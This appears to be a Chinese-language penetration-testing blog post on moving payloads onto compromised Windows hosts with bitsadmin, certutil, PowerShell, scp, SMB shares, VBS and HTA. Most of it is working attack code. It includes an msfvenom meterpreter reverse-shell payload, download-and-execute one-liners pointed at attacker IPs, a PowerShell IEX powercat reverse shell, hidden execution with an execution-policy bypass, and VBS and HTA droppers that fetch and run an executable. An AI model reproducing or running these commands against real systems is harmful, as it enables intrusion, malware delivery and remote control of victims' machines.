Bitsadmin BITSAdmin 是一个命令行工具,可以使用它创建下载或上传作业,并监视其进度。
缺点 不能下载python 开启的http服务,必须是真实的http 服务
现在尝试使用
生成payload 1 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost =192.168.81.238 lport =6666 -f hta-psh > 6666.hta
使用apache开启网站 都是开启http服务器,其实使用python http.server其实也是可以的
1 2 3 4 sudo systemctl status apache2 sudo systemctl start apache2 sudo service apache2 start
在目标主机下载文件 对应的场景应该是我们网站rce的方法进行的
1 bitsadmin /transfer shell http:/ /192.168.79.138/ win7.exe C:\windows\temp\win7.exe
发现有进度的下载
监听
发现已经有session
查看log
使用hta payload
1 2 rundll32.exe url.dll ,OpenURL hta文件地址 rundll32.exe url.dll ,OpenURL C:\windows\temp\6666 .hta
Certutil Certutil.exe 是作为证书服务的一部分安装的命令行工具。 你可以使用 certutil.exe 显示证书 颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件。
下载程序+ 执行 1 2 certutil.exe -urlcache -split -f http://192.168 .79.138 /win7.exe c :\win7.exe & start c :\win7.exe
反弹
清楚缓存 1 certutil.exe -urlcache -split -f http://192.168 .79.138 /win7.exe delete
powershell
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。 WindowStyle Hidden(-w Hidden):隐藏窗口 Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。 NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。 Noexit(-Noe):执行后不退出Shell。 EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
WebClient 类:提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据的常用方法。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient?view=net-6.0
DownloadString 方法:以 String 形式下载请求的资源。 可以以包含 URI 的 String 或 Uri 的形式指定要下载的资源。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadstring?view=net-6.0
1 2 3 4 5 6 7 8 $d = New-Object System .Net.WebClient$d.DownloadFile ("http://xx.xx.xx.xx/file.zip" ,"c:/1.zip" ) powershell -c "$p =new-object system.net.webclient;$p.DownloadFile ('https://pastebin.com/raw/M676F14U','s.txt')" powershell -command "(new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')" powershell (new-object system .net.webclient).downloadfile('https://pastebin.com/raw/M676F14U' ,'s.txt' ) powershell Invoke-WebRequest -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env :temp\s.txt" powershell iwr -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env :temp\s.txt"
1 powershell -c "IEX (New-Object System.Net.WebClient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168 .81 .229 -p 1234 -e cmd"
1 2 powershell wget powershell curl
可以使用类似的wget,curl指令
远程下载,本地执行
1 cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new -ob ject system .net.webclient).downloadfile('http://127.0.0.1:8089' ,'notepad.exe' );start -process notepad.exe
powersehll可以实现免杀
scp 在windows可能不存在,需要下载一下
尝试下载 1 2 3 4 5 # 下载当个文件 scp root@192.168.81.229:/root/6666.hta 6666.hta# 下载文件夹下所有文件 scp -r root@192.168.81.229:/var/www/html html/
scp其实和ssh一样的,或者说是基于ssh的
-r
是指的整个文件夹
上传文件 1 2 3 4 scp test.txt root@192.168.81.229:/tmp/test.txt scp -r password/ root@192.168.81.229:/tmp/pass/
文件共享 默认只能使用Administrator
默认值不激活的状态
激活账户
一般实际操作不会尝试激活用户
1 net user administrator /active
1 2 3 4 5 6 7 net use net use k: \\192.168 .81.227 \c$ /user: vagrant "vagrant" net use \\node dir k:
1 2 3 4 5 6 7 8 9 10 11 dir \\192.168 .81.227 \c$ copy \\192.168 .81.227 \c$ \6666 .hta c:\6666 .htacopy file \\node net use k: /del [/y 确定删除]
vbs 下载 download.vbs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Set xPost=createObject ("Microsoft.XMLHTTP" ) xPost.Open "GET" ,"http://192.168.81.229/6666.exe" ,0 xPost.Send()set sGet=createObject ("ADODB.Stream" ) sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile "c:\6666.exe" ,2
下载并运行 download_run.vbs
1 2 3 4 5 6 7 8 9 10 11 12 Set Post = CreateObject ("Msxml2.XMLHTTP" )Set Shell = CreateObject ("Wscript.Shell" ) Post.Open "GET" ,"http://192.168.81.229/6666.exe" ,0 Post.Send()Set aGet = CreateObject ("ADODB.Stream" ) aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "c:\6666.exe" ,2 wscript.sleep 1000 Shell.Run ("c:\6666.exe" )
cmd命令写入脚本并执行 1 2 3 4 5 6 7 8 9 10 11 12 13 echo Set Post = CreateObject ("Msxml2.XMLHTTP" ) >>zl.vbs echo Set Shell = CreateObject ("Wscript.Shell" ) >>zl.vbs echo Post.Open "GET" ,"http://192.168.81.229/6666.exe" ,0 >>zl.vbs echo Post.Send () >>zl.vbs echo Set aGet = CreateObject ("ADODB.Stream" ) >>zl.vbs echo aGet.Mode = 3 >>zl.vbs echo aGet.Type = 1 >>zl.vbs echo aGet.Open () >>zl.vbs echo aGet.Write (Post.responseBody) >>zl.vbs echo aGet.SaveToFile "c:\6666.exe" ,2 >>zl.vbs echo wscript.sleep 1000 >>zl.vbs echo Shell.Run ("c:\6666.exe" ) >>zl.vbs cscript zl.vbs
wget.vbs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 on error resume next iLocal=LCase (Wscript.Arguments(1 )) iRemote=LCase (Wscript.Arguments(0 )) iUser=LCase (Wscript.Arguments(2 )) iPass=LCase (Wscript.Arguments(3 ))set xPost=CreateObject ("Microsoft.XMLHTTP" )if iUser="" and iPass="" then xPost.Open "GET" ,iRemote,0 else xPost.Open "GET" ,iRemote,0 ,iUser,iPassend if xPost.Send()set sGet=CreateObject ("ADODB.Stream" ) sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile iLocal,2
1 cscript wget.vbs http://192.168.81.229 /6666 .exe c:\6666 .exe
hta 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <html> <head> <script> // 使用new ActiveXObject()方法创建一个名为Object的MSXML2.XMLHTTP对象,用于向远程服务器发送HTTP请求 // 然后调用Object.open()方法打开一个GET请求,指定要下载的文件的URL地址 // 最后一个参数为false表示同步请求,即等待服务器响应后再执行下一条语句 // 使用Object.send()方法发送请求并获取响应内容 var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.open("GET","http://192.168.81.229/6666.exe",false); Object.send(); // 检查Object.Status的值是否等于200,表示HTTP响应的状态码是否为成功。 // 响应成功,就使用new ActiveXObject()方法创建一个名为Stream的ADODB.Stream对象,用于将响应内容保存到本地文件 // 然后调用Stream.Open()方法打开流,调用Stream.Type = 1方法设置流数据类型为二进制 // 调用Stream.Write()方法写入响应内容,最后调用Stream.SaveToFile()方法将流数据保存到本地文件"C:\6666.exe"中 // 使用new ActiveXObject()方法创建一个名为Shell的Wscript.Shell对象,用于运行本地可执行文件 // 调用Shell.Run()方法运行C:\6666.exe文件 // 调用Stream.Close()方法关闭流,调用window.close()方法关闭窗口 if (Object.Status == 200) { var Stream = new ActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.SaveToFile("C:\\6666.exe", 2); Stream.Close(); var Shell = new ActiveXObject("Wscript.Shell"); Shell.Run("C:\\6666.exe"); } window.close(); </script> <HTA:APPLICATION ID="test" WINDOWSTATE = "minimize"> </head> <body> </body> </html>